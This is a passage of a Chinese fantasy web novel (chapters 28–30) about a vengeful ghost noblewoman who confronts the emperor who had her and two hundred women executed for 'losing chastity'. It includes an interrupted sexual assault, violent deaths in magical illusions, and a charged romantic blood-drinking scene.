他们一下抬起头,只见那磷火如簇,飘飞而来,点缀四周,此时,他们方才看清自己所处,竟然是一片血池! 脚下是人的残骨,池边还有不知死了多久的死尸,白骨骷髅遍地,他们此时方才嗅到那浓烈的,腥臭的血气,一时间都吓得大叫起来。 池边,有一个木桶,那木桶似乎经年累月被血所浸染,木色浸血,红到发黑,桶中还有一个瓢,似乎是浇花用的。 头顶的洞口处,忽然一阵娇细的笑声响起,几个道士紧紧依靠彼此,那最年轻的道士声音颤抖,却是在骂:“你们这些鬼物!竟然如此残忍嗜血!” 璇红苍白而娇艳的面容在洞口显现,她睨着他,轻声笑:“小道长死到临头,也只会逞些口舌功夫了。” 她似乎是在打量他们,只见那骂人的小道长模样生得最好,她有些惋惜似的:“若不是实在没那些工夫,我定要与你好好玩一玩……” 她尾音微勾,暧昧至极,仿佛轻易便能夺去人的神志,几个道士只听她嗓音很轻,好似耳语呢喃:“你们啊……也算是艳福不浅了。” 底下几个道士不明所以,而顶上洞口边,璇红的手指轻轻擦过那蓝衣女冠柔滑细腻的脸颊,蓝衣女冠只觉璇红指腹的阴寒几乎浸入她每一寸肌理,可她口中被堵塞,发不出任何完整的声音。 蓝衣女冠心中突突地跳,下一瞬,她整个人被璇红一掌打下去,落入那血池中,“砰”的水声激荡,那最年轻的道士连忙上前将她从水中抓起来,见她嘴里还塞着布,便立即将其取出,可蓝衣女冠浑身无力,更没有办法站起来,整个人都压到道士身上,那小道士哪里被女子这样扑过,他一下瞪起眼,结结巴巴:“玄友……玄友你没事吧?” 蓝衣女冠咳嗽不止,说不出话,那小道士却忽然觉得自己有些异样,他一下抬起头,只见浊黑的气盘旋,他嗅到一股很浓很浓的花香。 他再看身边几位师兄,他们原本苍白的脸色竟然开始呈现一种不正常的红,而被他扶着的蓝衣女冠气息也忽然变得急促,小道士发现她的脸竟然也开始发红。 不知为何,小道士看着她的脸,竟然越发觉得俏丽动人,他神志一晃,脊背陡然生寒,忙晃了晃脑袋,他反应过来,厉声道:“鬼物!你做了什么!” “哈哈哈哈哈……” 璇红的笑声自洞口而来:“听说你们这些修道之人虽与和尚不同,但也都清心寡欲,自有你们的清规戒律要守,我看你们年纪轻轻,懵懂不知极乐为何,实在可惜啊……你们该谢我大发慈悲哈哈哈哈哈……” 几名道士只觉自己的神思不由跟着璇红温软的话语而难以抑制地动摇,小道士握着蓝衣女冠的手越收越紧,蓝衣女冠面上终于露出恐惧,而此时,一名年纪稍长一些的道士勉强定住心神,随后将师兄弟往后一拽,那小道士立即被迫松开了蓝衣女冠,那道士站定双足,施法结印:“抱元守一,尘杂俱散!” 其他师兄弟连忙与他一同站定,结印,念清心咒。 可蓝衣女冠被封住了经脉,根本不能动弹,她什么办法也没有,只觉得自己神魂恍惚,她看见那几名道士竭力相抗,却又听到洞口传来璇红的一声轻嗤,她不知道那些浑浊的黑气是什么,只发觉那些道士很快就抵抗不住,他们睁开眼来,每一个人都凝视着蓝衣女冠,但他们的眼神再也不清明,而变得跟那黑气一样浑浊不堪。 蓝衣女冠心中阴寒极了,她嘴唇翕动:“不……” 男人们一步一步地朝她走去,蓝衣女冠奋力地想要挣扎起身,却连一根手指都挪不动,她虚弱的声音里裹着惊惧:“你们别过来!醒醒!都醒醒!” “璇红姐姐。” 晴芸站在洞口,看见底下那些男人们摸上蓝衣女冠的衣摆,她忍不住出了声:“她,她是个女子啊……” “她是个女子……” 璇红揉捻着晴芸的话,看着底下蓝衣女冠被男人们触摸衣摆,面露惊恐的模样,她的声音平淡:“你我,就不是女子了?” 晴芸嘴唇微动,什么也说不出。 “不要过来!”底下水池中,蓝衣女冠爆发一声尖叫,而伴随着她的尖叫的是她外衫被撕裂的声音,璇红神情冷漠地审视着她,审视她那副被撕破了高傲,只有无助,只有痛苦,只有恐惧的脸。 璇红太熟悉她的这副神情了,熟悉到蓝衣女冠此时所有的情态,顷刻成了她的情态,她心中像被针尖猛然扎了一下。 她的手比思绪更快,洞中的黑气瞬间凝住,而那些抱住蓝衣女冠的男人们也忽然不动,他们似乎无法思考,而只是痴痴地盯着蓝衣女冠,恍惚极了。 璇红深吸了几口气,她周身的黑气暴涨,几乎将她整个人都包裹在里面,晴芸吓得唤了声:“璇红姐姐!你怎么了?” 璇红却听不太清她的声音,她觉得头疼欲裂,一道根本不似人类的声音响彻她的脑袋,那声音像是风雨混合雷电拼凑而成,却脱口人类的语言:“怎么?你想放过她?” “璇红!” 那声音陡然尖锐,竟然又与她的嗓音如出一辙,接着,又变幻成晴芸的声音:“你怜悯她?谁怜悯过你呢?你难道忘了?” 那声音又变成峣雨的,却是峣雨永远不会发出的尖刻幽怨的语气:“她的父亲是如何对你?那冯寅又是如何辱你?你的恨呢?你凭什么放过她?你凭什么放过她!” “璇红姐姐……” 这时晴芸伸手去拉璇红,璇红却猛然甩开她,晴芸一个不防备,整个人摔了出去,璇红满脑子都是那些尖刻的声音,那是她的恨,她的怨! “璇红……” 蓝衣女冠不知那些男人为何不动了,她眼眶积蓄惊恐的泪意,朦胧中望向洞口那道影子,她颤抖着声音:“我……我有一位表姑母。” 璇红神情一滞。 蓝衣女冠原本就觉得“璇红”这个名字有些熟悉,此时此刻,她终于想了起来:“我从没见过她,也没有人敢提起她。” 蓝衣女冠哑着嗓音问:“你……是她吗?是的话,你又为什么恨我?” “哈哈哈哈哈哈……” 璇红几乎是疯癫地大笑起来,她刻毒的目光死死盯住那蓝衣女冠:“是又如何?不是又如何?反正,你也没有机会回去问你那父皇了!” 几乎是璇红话音方落,洞中的黑气再度流转,而那些原本痴立的男人也都再度有了反应,他们粗粝的手近乎野蛮地探向蓝衣女冠单薄的衣襟,抱住她,抚摸她。 “啊!”蓝衣女冠惊声尖叫。 正是此时,一阵冷风顺着山石缝隙吹来,璇红敏锐地回头,只见一道素白的披帛袭来,她侧身躲过,那披帛却坠入地洞之中,素纱之间莹白的光若缕飞浮,瞬间凝成一道女子身形,那女子很快将蓝衣女冠从血池中拉出,趁风而出。 磷火飞浮,映照璇红扭曲的神情,她看着揽住蓝衣女冠腰身的那名墨蓝衫裙的女子,嗓音尖锐:“峣雨!” 峣雨将素纱披帛裹在蓝衣女冠身上,她抬起眼帘,看向璇红:“你做这样的事,与冯寅,娄玄英之流,有何区别?” 峣雨向来神清若海,几乎不会有动怒的时候,但此时,璇红却从她平静的言辞中感受到那种凛冽的怒,也许还有失望。 璇红冷冷一笑:“我不能吗?为什么我不能?为什么男人就可以?” “所以你要学他们?” 峣雨凝视着她:“璇红,她是不相干的人。” “不相干的人?” 璇红盯住那蓝衣女冠:“她是娄玄英的女儿!峣雨,你看看她那副天真到什么都不知道的模样,娄玄英对她一定很疼惜,我要把他精心呵护的女儿变得和我们一样,我要让他感受到这种侮辱,让他痛苦……” “男人永远不会真切地感受到女人的痛苦。” 峣雨擦去蓝衣女冠脸上的血水:“他也不会真切地体会到所谓的侮辱,你伤害他的公主,也仅仅只是伤害一个女子,而娄玄英那样的男人,你竟期望他切身感受她的痛苦?可能吗?璇红,那只是你的妄想。” 璇红眼底神光微颤,她一时难以反驳峣雨,可她看着那蓝衣女冠,她根本无法不去恨娄玄英的血脉。 “他也许会觉得心痛,” 峣雨继续说道,“可他欠我们的,是他那颗高贵的心脏痛几下,便能偿还的吗?” 当然不能! 璇红苍白而美丽的脸庞盛满不甘,怨恨。 这时,春梁从山石缝隙中来,她连忙喊道:“国主,璇红姐姐!山下的僧道都上来了,他们当中还有天都来的道士,也不知是怎么回事,他们全部都找到这边来了!我听见有人喊,让我们快快归还紫芽公主!” 那蓝衣女冠听到“紫芽”二字,眼皮颤动一下,很显然,紫芽便是她的名字。 璇红很快想到晴芸口中那个逃掉的中年道士,一定是他给那些人指明的方向,但她不慌不忙,看向峣雨。 四周昏黑,峣雨揽着娄紫芽,对上璇红的目光:“冤有头,债有主,你我真正的债主来了。” 山风吹彻,晓色迷蒙,雨不知何时已经停了,只是风中仍旧有一股潮湿的味道,草木的芳香混杂其中,阿姮与霖娘拾一野径往上走,只听得空中一片杂声掠过,阿姮抬起头,只见半空中一群白衣道士御剑而过,他们手中持一罗盘,经过阿姮上方,那罗盘便胡乱震动起来,一帮道士神色各异,有人惊呼:“怎么回事?罗盘怎么变成这样?难道有妖孽?” 阿姮看他们有人往下遥望,似乎要下来,她却懒得跟这些人缠斗,拉着霖娘化雾而去,至照雪坡下,阿姮凝出身形,远远见一帮僧道,他们赫然正是山脚下那些家伙,照雪坡上花红若血,有个中年道士抬起剑指向那片红花:“我师兄弟夜里便是在此暴露,这片花丛底下,不知有多少人的血肉做了花肥,诸位还请快些,不然我几个师弟恐怕就没命了!” 霖娘一眼看到人群中一个小和尚扶着一个大和尚,那大和尚脸色惨白,不是净空又是谁? “且慢!” 照雪坡上,一老道叫住众人,他捋了捋胡须,认真地看过那片花丛,他拧着眉,沉声道:“若我没猜错的话,这花应该是没骨花!” “什么是没骨花?” 有人问道。 “没骨花,即是人的尸骨上开出的花,”那老道解释着说,“我曾经也见过这花,可它的花期本该十分短暂,有的执念深重的人死后,头七之内,尸体上会开这种花,一旦魂魄下到地府,这种花就会枯萎。” 那老道笃定地说:“这花丛底下,一定就是那些女鬼的尸骨!她们扎根于此,不肯离去,自然花开不败,而人血养花,则会使她们鬼气更足,力量更强。” “既如此,那我们何不翻了这花丛!”一道士摩拳擦掌。 他们倒是十分默契,说干就干,当即抽出剑来,阿姮远远地看着,她收敛自身的雾气,所以这样的距离,那些道士身上的师刀并没有感应到她的气息。 她看着那些道士掐诀,数把剑飞出去,誓要斩尽如簇红花,却是此时,一阵黑气弥漫而来,卷起那些刀剑,停铃哐啷一阵响,道士们发觉控制不住自己的剑,皆脸色一变,那老道与中年道人两个反应很快,立即结印,散出金光,破开浊黑之气,一时刀剑尽数落地。 “你们这些不怕死的东西。” 黑气减淡,逐渐出现璇红的身影,她的声音阴沉极了:“找到照雪坡来,是想做我的花肥?” 众人定睛一看,破上莹白的光凝成一道墨蓝身影,她身后则是二十余鬼女,她们个个纤腰秀项,云鬓珠饰,分明姝丽。 淡薄的雾气缭绕,几名天极观弟子认出那墨蓝衣衫的女子所搀扶的那蓝衣女冠,一人厉声道:“鬼物!快将紫芽公主还来!” 娄紫芽被素纱披帛裹缠,不能动弹,她看向身边的峣雨,只听她道:“娄玄英呢?他在哪儿?” 娄紫芽被缠住了嘴,不能出声,只“呜呜”叫了几声,期盼着父皇不要来。 “我岐泽陛下,岂是你们这些鬼物想见便能见的?” 那天极观弟子冷哼道。 他话音方落,璇红身化淡光,转瞬出现在他面前,旁人要提醒已来不及,璇红指甲寒光一闪,瞬间刺穿他咽喉。 如注的鲜血涌出,璇红冷冷笑道:“娄玄英算个什么东西?他是不敢来吗?是害怕吧?他还是那么懦弱,那么令人恶心……” 其他僧道立即后退数步,警惕地掏出法宝。 “璇红。” 峣雨拧眉,唤她一声,璇红却不看她一眼,将那天极观弟子的尸体扔掉,也是此时,暗处的阿姮又敏锐地察觉到风中的声音,她仰起头,那些白衣道士御剑而来,流火托着一架华美的马车在空中划过,他们经过阿姮上方,罗盘再度发出尖鸣,但众道士只见照雪坡上的情形,便忽略了罗盘,立即落身过去。 那马车落地,近千名衣饰不同的道士簇拥左右,山风呼啸,站在山坡上的峣雨与璇红几乎同时盯住那马车,那帘子一动,最先出来的,却是一个中年男人,他一身官服,身形瘦长,下了车连忙躬身去扶出车中的另一人。 那人一身明黄,绣龙纹,一副清癯的容貌,年约五十来岁,两鬓已微微斑白,他双足才落在地上,从山下一路赶来的卫军若黑云一般围护了过来。 许多年没有踏足这个地方,岐泽皇帝娄玄英下意识地抬起头遥遥一望,只是这一望,他的目光便顷刻被那满坡的红花给夺去。 “娄玄英。” 忽然,他听到这样一道娇细的声音,他脊背猛然一僵,一下循声望去,只见那女子一身鲜红的嫁衣,头戴银色的风冠,玛瑙珠饰映照她那副年轻的,美丽的面容,她红艳艳的唇勾起来,那双眼睛紧紧盯着他,像刻毒的蛇:“你来了。” “红姐……” 皇帝几乎脱口而出,但很快,他脸颊肌肉微微抽动,他低头看到自己皮肤发皱的手背,他想起很多的事,一时间,什么话也说不出了。 他不该来。 皇帝甚至忘了要看自己的女儿紫芽在哪里,他一下转过头,往马车边走了几步,那张相国立即上前去:“陛下,紫芽公主……” 皇帝猛地瞪他。 璇红在不远处看着这一幕,哈哈大笑起来:“张若礼,你还真把他给骗来了?” 张若礼,正是张相国的名讳。 皇帝闻言,不由一惊,接着一把抓住张相国的衣襟:“……你?” 张相国满头冷汗直冒,他不敢对上皇帝的目光,甚至说不出一句话,阿姮与霖娘都蹲在暗处看着,阿姮忽然发觉微风拂来,她一下回头,只见那黑衣少年不知何时立在她身后,她一下笑起来:“小神仙!” 她这一声脆生生的,一时惊动了照雪坡上的所有人。 无数双眼睛循声看去,只见那黑衣宝饰的少年走出来,在他身后,则是两名少女,一个红衣艳艳,另一个则用皂纱将自己裹得严严实实。 程净竹将折叠的白符塞入阿姮手中,她随着他靠近人群,那些道士手中的罗盘就变得很安静,她捏着白符的棱角,听见少年道:“陛下,张相国的儿子落在这鬼娘娘手里,说到底,他也是不得已。” “张若礼!”皇帝盛怒。 张相国见事已至此,什么都被戳破了,他便也不做辩解,转头望向璇红:“璇红郡主!我,我就那么一个儿子,陛下已经来了,请您把我儿子还给我吧!” 璇红郡主。 这四字一出,僧道皆异。 “璇红郡主?”有人回忆起了些什么,又有些不太确定,“她是璇红郡主?定昌公主的女儿?” “听说璇红郡主在奸贼冯寅攻入天都之时便死了,即便化为鬼,她也该在天都,不该在这里啊!” 整整二三十载,按理来说,一位郡主而已,又有几个人能记得她呢?可偏偏,她是先帝的妹妹定昌公主的女儿,乃是一位声名极盛的绝代佳人。 反贼冯寅攻入天都前,人们知道她是先帝钦定的准太子妃,反贼冯寅攻入天都后,她则成了艳情话本上被冯寅强占,不堪受辱而死的可怜郡主。 “你好大的胆子啊张若礼……” 皇帝胸膛起伏,几乎从齿缝中挤出这话,他又蓦地看向程净竹:“你也骗朕,你们明知她在这里,却都隐瞒不说,是不是!” “我不说,” 程净竹神情平淡,“陛下难道自己心中就没有疑窦吗?当初你在此地处死了谁,你应该不会忘。” 皇帝脸色铁青。 “璇红郡主!我儿在哪儿?我儿在哪儿?”那张相国连声问道。 璇红轻声笑:“他啊……” 她的声音轻快又残忍:“早就做了花肥了。” “你!” 张相国瞳孔紧缩。 “这到底是怎么一回事?这鬼娘娘如何就是璇红郡主?”人群中,那白胡子老道发出费解的声音,“都说陛下与璇红郡主情比金坚,陛下年年为郡主办法事,贫道还曾去天都观过礼呢……” “哈哈哈哈哈……” 璇红一听,忽然笑起来:“情比金坚?娄玄英,你恶不恶心?谁跟你情比金坚?啊?你扪心自问,我什么时候拿正眼看过你?” 没有。 山风呼啸,吹得皇帝脸颊冰冷,他下颌紧绷起来,一把撂开张相国,转过脸来,重新看向那个女子。 她还是那么年轻美丽,他记得父皇曾说她是天都中最美的花,那时他也深以为然,只是这朵最美丽,最娇艳,也最高傲的花,从来都不曾正眼看过他。 那时,他还有个兄长排在上面,兄长是太子,而他不是,她与兄长才是一对,可她,也看不上兄长。 正是因为她高傲的秀项,从来不曾低眼看过他们任何人,所以他生出无限憧憬,希望红表姐某一日可以看见他。 但她没有,到死都没有。 璇红嘲讽似的目光钉在皇帝身上:“娄玄英,你可还记得这照雪坡?你可还记得当年这里下了很大的雪,你让张若礼命人将我和两百余名女子押在这里吗?你记得当时有多少把刀吗?那刀光有多么雪亮……你甚至没有过来,反而藏在丛中,你不敢看我,却轻轻抬起手指,往下那么一点,于是那么多把刀也落下去,我和她们的血淌了一地,甚至融化了这里的雪……” 皇帝胡须一颤,一副身躯岿然不动。 璇红一手的血,顺着她指尖滴落,她视线下垂,继续说道:“你们说我,说她们是奸细,是归服冯寅,为他所用的女人……可我们都做了什么呢?明明我们什么也没做,只不过是,当初冯寅攻入天都时,我车驾被拦,冯寅……” 璇红忽然顿了一下。 阿姮看到她那张脸上神情扭曲了一瞬,她分辨不出那是什么,只听璇红近乎冷漠地说道:“冯寅辱我,囚我,然后将我扔给他的部下继续侮辱我。” 山间安静极了,似乎只有风呼啸不断,连那些僧道脸色都凝滞了。 璇红言辞顺畅,就像是在说旁人的事而已,而接下来,她才真正开始说起旁人:“她们呢?不过是逃跑不及,被反贼踏破门户,以刀相逼,生生掳去。” “她们谁不是家破人亡,谁又能在叛军手下留得一块好皮?她们日日盼着王军归来,扫清叛贼,残喘着一口气。” 璇红说道:“终于那年,王军将冯寅赶出了天都,冯寅死了,我们被他的部下一路强携至巢州境内,正遇你娄玄英在此登基,你兄长早死,你才有这样的造化……” 璇红重新看向皇帝:“冯寅的部下以我相要挟,要你放他们一条生路,你没肯,当天晚上,你的近臣张若礼向你进言,说我与冯寅首尾难断,劝你杀我,坐实我早已死在天都的传言。” 皇帝掌心不知不觉闷出汗意,他紧绷着神情,却倏尔躲开璇红的目光。 “我怎么能活着呢?” 璇红的声音逐渐变得尖刻:“她们怎么可以活着呢?叛军凌辱我们,我们就该抵死不从,失去清白,我们就该引颈谢罪!那样的话,人虽死了,可至少还有个清名不是?” “娄玄英,你判我们失节侍贼之罪的时候,你可有想过,你说你爱慕我,你可有在发现我车驾被拦的时候,回来找我?” 璇红盯着他:“你没有,你兄长也没有,你们这些男人怎么不问问你们自己,为什么会让冯寅有机会攻入天都?为什么你们会狼狈地逃离?为什么你们高高在上,却可以轻视我们的生命?” “为顾全大局,我,父皇,兄长皆不得不如此!” 皇帝终于忍无可忍。 “你们只是懦弱的,昏庸的男人而已,说什么不得已?娄玄英,你还是这样,令人恶心。” 璇红嘲讽道。 什么女奸细,当初在这照雪坡上引颈就戮的,不过是一群被劫掠,被侮辱,被践踏所有尊严,最终,又被失节侍贼之罪杀死的女子。 无论是活生生的人,还是此刻这个艳丽的鬼,皇帝都从她眼中看到了同一种对他的嫌恶。 “你委身冯寅也罢,后来所受难道不是你自找的?你若是从一开始就持节而死,那你就还是……”皇帝顿了顿,像是流连似的,看着她,声音忽然放轻。 还是他那个高傲的,洁净的红表姐。 “凭什么?凭什么一定要人死?”霖娘怒不可遏,脱口而出。 山坡上,被峣雨劫持的娄紫芽几乎不敢相信自己所听到的,她满眼愕然,怔怔地望着她的父皇。 “娄玄英!今日,便是你的死期!” 璇红暴怒,周身黑气大涨,而阿姮看着她在那滚滚黑烟中狰狞的脸,她本能地觉得那黑气有些熟悉,直到,她听到身边的少年道:“火种果然在她身上。” 那是火种。 天衣人的火种。 阿姮凝视着璇红,而围护在皇帝身边的道士们立即摆阵应对,那些离璇红最近的僧道也赶紧铺开一阵,各自站定。 两道金光大阵铺开,山坡上,峣雨将娄紫芽推给一旁的春梁,嘱咐她:“躲起来。” 随后,峣雨立即抬手画阵,莹白的光铺开两道,与金光相抗。 璇红的黑气则无孔不入,僧道们顷刻被剥夺了视线,浓烟滚滚,几乎倾覆整座万艳山。 天地都黑透了。 阿姮直观地感受到似乎是璇红强烈的情绪激发了火种最强大的模样,她看到身边的黑衣少年神色都凝重许多,他抬手画印,黑气袭来的刹那,他整个人都被笼罩其中。 所有人都被这浑浊的气流给笼罩了。 只有阿姮置身事外。 那些黑色的气流擦着她衣摆而过,她转身,走近霖娘的刹那,她整个人忽然被吞没到一片崭新的天地。 阿姮抬起头,却又发现这片天地是那么的熟悉。 黑水黑山,浮雾重重。 她转过身,看到那座篱笆小院,院中,霖娘正抱着她的爹娘,不敢置信地哭泣:“爹,娘,我好想你们……” 阿姮确信,那对夫妇不是真的。 可霖娘似乎看不出来。 “霖娘。” 阿姮唤她。 霖娘仿佛根本没有听到似的,没有回头。 她被困在这里了,阿姮拧起眉,抬手红云灼烧一片,可幻境却不曾消失,她始终叫不醒霖娘,转身走出几步,她整个人又立即从那黑色的气流中出来,抬眼,是万艳山这片浑浊的天地。 阿姮看向被黑气包裹的程净竹,几步走了过去,接触气流的刹那,她瞬间被吸入进去,她耳边没有任何风声,什么动静也没有。 阿姮睁开眼,四周竟然黑漆漆的,她像置身在水底里,又像是在什么洞窟里,她什么也看不见,却莫名觉得这里很冷。 冷得要冻僵她这副水做的皮囊。 阿姮不喜欢这股冷意,她后退两步,想要出去。 “嫦娥为什么要去月亮上呢?月亮有什么好的?” 忽然,她听见一道声音。 那似乎是一道极其年轻的女声,带着少女的稚气,阿姮明明从没有听过这声音,可她却蓦地停步。 眼前仍然漆黑,那道女声又响起:“我看过一眼月亮,那就是一个圆圆的东西,会发光。” “月亮上有广寒宫。” 另一道声音突兀地响起,却是一个少年的声音,大概就像人类十四五岁的时候,也有些稚气,但不知道为什么,他的声音虚弱极了:“她吃了仙丹成了仙,从此就住在那里。” “后羿不能去吗?” 那少女问道。 “他是凡人,不能去。”少年说。 “为什么要这样呢?”少女好似不解,“一个人一点也不好玩,就算是在月亮上,也不好玩。” “这只是一个故事。” 少年的声音沙哑极了,好像随时声息都要消失:“其实嫦娥并不是一个人,而是一群住在月亮上的仙子,也称姮娥。” “仙子?很美的仙子吗?”少女问他。 少年不知是睡着了还是怎么了,没有声音,少女有些害怕地喊他:“你怎么了?” 那少年声息乱了一瞬,像是强撑着清醒了一点,说:“我不知道,我没有去过广寒宫,但,应该是吧。” 少女“哦”了一声,没一会儿又说:“我也想去月亮上做仙子,做姮娥。” 那少年很久都不应,她又连声喊他,他似乎很痛苦,几乎是强弩之末,他的声音变得很轻:“你喜欢亮晶晶的珠子吗?” “喜欢!” 她说。 “那,我送你一颗。” 少年对她说道:“你拿着它,然后从这里出去,我……” 他喘息了片刻,才又哑着声音道: “我答应你,将来有一日,我带你去看外面的世界。” “说好了?” “说好了。” 第29章 第29章 面无表情地吻上她的唇角。…… 浓厚的黑云如墨入水一般不断地铺开, 漫卷,照雪坡上一片瞑晦,凛冽的风刺得那白胡子老道几乎快睁不开眼。 没有修为持身的卫兵们全都成了木头桩子,被黑气吞噬其中, 白胡子老道也有一瞬仿佛看到了自己那已经离世好几十年的老娘, 忽听得一阵梵音, 竟是那净空、灵明师兄弟在念着佛门的法咒,只听净空和尚道:“这东西可以引诱放大人的欲望,诸位所见, 皆为幻像, 千万凝神, 不要坏了阵法!” 他施加术法, 声音便似洪钟一般,激荡在一众僧道耳边。 众人不由精神一振, 猛然清醒了些, 却又莫名听见一阵女子的娇笑声,他们方才清明一些的视线又转而模糊许多, 在一片黑云笼罩中, 恍惚竟见衣衫各色的姝丽, 她们个个弱态生娇, 足翘细笋, 款步而来,一声声地笑着,手中摇晃绣帕, 顷刻浓郁的花香盈满他们的口鼻。 净空和尚也听见那样的笑声,他眉心微动,忽然冰凉柔滑的触感漾开来, 净空和尚猛然睁眼,那根白皙纤细的手指轻轻揉念着他眉心的川字,他一眼看清那纤细的手腕上剔透润泽的玉镯。 那玉镯颜色清透,映衬着她细腻洁泽的皮肤,她的手指缓缓从他的眉头滑下去,到他鼻尖,净空和尚听见她的笑声:“法师,你看看我吧……” 她的声音太过婉转,似嗔似娇。 净空和尚忽然发觉自己不知何时已置身一处楼阁中,鼻尖的触感消失,那截玉臂环住他的腰身,指尖摩挲他的衣襟,她冰冷的声息就在他身后,而净空和尚眼前只见摇摇晃晃的珠帘,折射着暧昧的碎光。 珠帘后,有一道轻纱屏风,屏风上各色男女衣衫不整,旖旎无边,净空和尚一瞬瞳孔紧缩,他一下转过脸去,却又见到壁上挂画,画中野草蔓蔓,男欢女乐,他猛然紧闭双目,结印成阵的手势纹丝未动。 他耳后传来那甜腻的笑声,瞬间激起他颈后一片鸡皮疙瘩:“法师,何必向往什么西方极乐世界?明明,人间极乐就在眼前啊。” 算准了他在阵中不敢妄动,女子柔软的躯体攀附他的后背,她揽着他的腰身,抚摸他的衣襟,冰冷却柔腻的脸颊忽然贴在他耳畔:“法师。” 净空和尚无声默念法咒,额头豆大的汗珠滴下,这一瞬,又是那根柔滑的手指轻轻擦去他的汗珠,她轻声笑:“法师……你是人,是个男人,天底下那么多的僧人都想登极乐,可极乐之地却并非人人都去得,人生苦短,良宵更短,法师不如与我欢乐……” 他不睁眼,却也因此而无比清晰地感受到她的触碰,她像一条蛇,柔软而蜿蜒地缠绕在他的身上,越缠越紧,浓郁的花香随着她的耳语袭来:“你真的不想看看我吗?” 她的手落在他胸口:“你的心跳得这样快,你想,对不对?” 她一声声唤“法师”,柔软的诱哄。 净空浑身热汗如雨,他被那馥郁而神秘的花香紧紧包裹,胸膛起伏,剧烈地呼吸,忽然,他感受到那娇声轻哼,随后他被松开,但不知什么轻薄的东西被丢落在他的头上,轻轻地覆盖下来,更浓的花香顷刻夺去他的呼吸。 净空念法咒的唇忽然一颤,他恍恍惚惚,神摇意夺,嗅闻着那撩人的花香,他一瞬睁开眼睛,盖在他头上的原来是一件纱衣,淡薄的纱使他视线朦胧,他看到面前站立的女子,娇波流慧,肌映流霞。 赫然正是璇红。 璇红轻声笑起来。 净空看见她身后珠帘摇晃,仿佛那屏风上男男女女的影子也跟着晃,璇红的笑声陡然张狂起来:“哈哈哈哈哈哈……” 净空忽然瞳孔一缩,周身经脉顷刻炸开,如缕的黑气钻透他的身体,他脸颊肌肉颤颤巍巍,猛地大吐一口血,整个人倒下去。 阵法立即缺了一角,金光暗淡,那灵明小和尚拨开黑气见到师兄躺在地上,浑身血洞,双目大睁着,一动不动,他失声喊道:“师兄!” 数个道士也接二连三地倒下去,死不瞑目。 “撑住!都撑住!” 那白胡子老道跨步站住两个阵角,大喊道。 灵明小和尚抿紧嘴唇,眼中含泪,双脚在地上扫了一圈,摆开马步,一人担负起自己与师兄的阵角。 天地浑浊,风中都是馥郁的花香。 阿姮站在程净竹的幻境里,也嗅到这股花香,她从如此深邃的黑里听到几声娇笑,但仅仅只是一瞬,阿姮就听见她们的声音陡然变得惊慌,阿姮抬起头,只见若缕金芒划破漆黑,重击几道纤细的身影,她们重重地摔出来,惊惧地四散奔逃。 那似乎是晴芸身边的几个鬼女,阿姮认得她们的五官。 周遭变得很安静,阿姮没有再听到任何声音,她想了想,还是朝方才那道金芒闪烁的方向走去。 越往黑暗中去,阿姮越感受到那种深邃的冷意,湿冷的风拂面,牵动她耳边的浅发,但她却发现自己根本辨不清这风来的方向。 忽然,她听见水滴声,像是那种顺着嶙峋的山壁蜿蜒往下,凝在尖端,又缓缓滴落的声音。 她觉得脚下也变得不太平整,像凹凸的山石,可她低头,她只看到自己脚上的一双绣鞋,脚下踩着浓烈的黑。 她无端觉得这里逼仄极了,阴暗又潮湿。 像极了巍峨山中狭小的缝隙,她整个人都被包裹在坚硬的山石里面,没有一点光亮。 阿姮抬手,红云如簇,点缀指尖。 她手中幽微的红焰,隐约照亮了前面,但她看不到什么山壁,什么缝隙,只见一人静坐在那片浓郁的黑里。 那个黑衣少年,水青的宝珠压在他洁白的衣襟前,他银灰色的发像丝缎一般,白玉莲花冠莹润洁泽,漆黑的衣袖随风微动。 阿姮一步一步走近他,最终停在他面前,他似乎毫无所觉,始终闭着眼睛,阿姮俯身看他,指尖的红焰映照他浓密的眼睫。 风中都是浓郁的花香,阿姮蹲在他面前,这张脸她其实看过很多次,但不知为什么,花香越是充斥她的鼻息,她的目光便越是紧紧流连在他的五官。 他像一尊洁净的神像,令人不敢亵玩。 可阿姮盯着他的眉与眼,鼻与唇,他的皮肤苍白,却有人类的血色,细腻得像他有时会佩戴的玉,他的鼻梁很高,像清峻的山峦,阿姮摸摸自己的鼻子,一点也没有他的高,她眼睫眨动一下,很快又将目光落在他的唇。 花香越来越浓,包裹她的呼吸,阿姮忍不住伸出一根手指,周遭静悄悄的,只有水滴声,她的指尖将要触碰他嘴唇的刹那,他眼睫轻动,蓦地睁眼。 阿姮陡然对上他冰冷的目光,不知为什么,他似乎在见到她的刹那,神光微微凝滞了一瞬,但仅仅只是一瞬,他目光犹如寒刺一样钉在她身上。 “小神仙?” 花香仿佛浸透阿姮的脑海,她近乎沉迷地凝视他的脸,她忍不住靠近他,她望着他眉心的朱砂红痣,嗅闻到他身上有别于花香的幽冷香味。 有点微苦的药味,又有一种凉沁沁的香,那种余味在她鼻息间勾勾缠缠,他始终垂眸冷冷睨她,周身淡色的气流微微涌动,仿佛蛰伏的箭矢,若她敢轻举妄动,定会使她万箭穿心。 危险的杀意如同一只无形的手擒着她脆弱白皙的颈项,可阿姮却仿佛醉在那股神秘的花香里,她凝视着他苍白的,漂亮的喉结,她不知道为什么,竟然觉得渴,她贪婪地从醉人的花香中寻找他身上的一丝冷香,她暗红的双眸紧紧盯着他的喉结,那渴意逼着她更靠近他,她想要咬破他单薄的皮肤,吮舐他的血液。 她微微张口,舌尖微动,迫不及待地扑向他的颈项,她的唇即将触碰到他喉结的刹那,她忽然被一只手攥住下颌。 他的力道很大,手背淡青色的血管分缕鼓起,指节收紧,阿姮觉得下颌很痛,她拧起眉头:“小神仙,你捏痛我了。” 程净竹垂眸睨她,手中力道却没有松懈,浓烈的花香刺激着他的鼻息,他的掌心燥热非常,那种滚烫的温度紧贴着阿姮的皮肤。 阿姮呼吸一紧,她有些不耐地抓住他的手腕,却碰到他腕骨上的霞珠,珠串轻轻晃动轻响,程净竹的手忽然松懈,滚烫的温度不再,阿姮竟然莫名的流连,她下意识地追着他的手往前,却被他手指抵住嘴唇。 阿姮抬起眼帘看他,少年那双眼睛依旧那么冰冷,可他的指腹却用力抵开她柔软的唇缝。 阿姮一愣,神色欢欣。 他又愿意给她血了吗? 阿姮开心地将齿尖抵住他的指腹,齿关用力的刹那,他的手却忽然用力,迫使阿姮跌入他怀中,他低下头,面无表情地吻上她的唇角。 这一瞬,阿姮的齿尖刺破他的指腹,芳香的血气盈满唇舌。 第30章 第30章 “小神仙,你弄疼我了!”…… 天昏地暗, 阴冷的,潮湿的风从四面八方来,无尽的静谧,无尽的黑暗中, 一点暗红的焰光闪烁在红衣少女苍白的指尖, 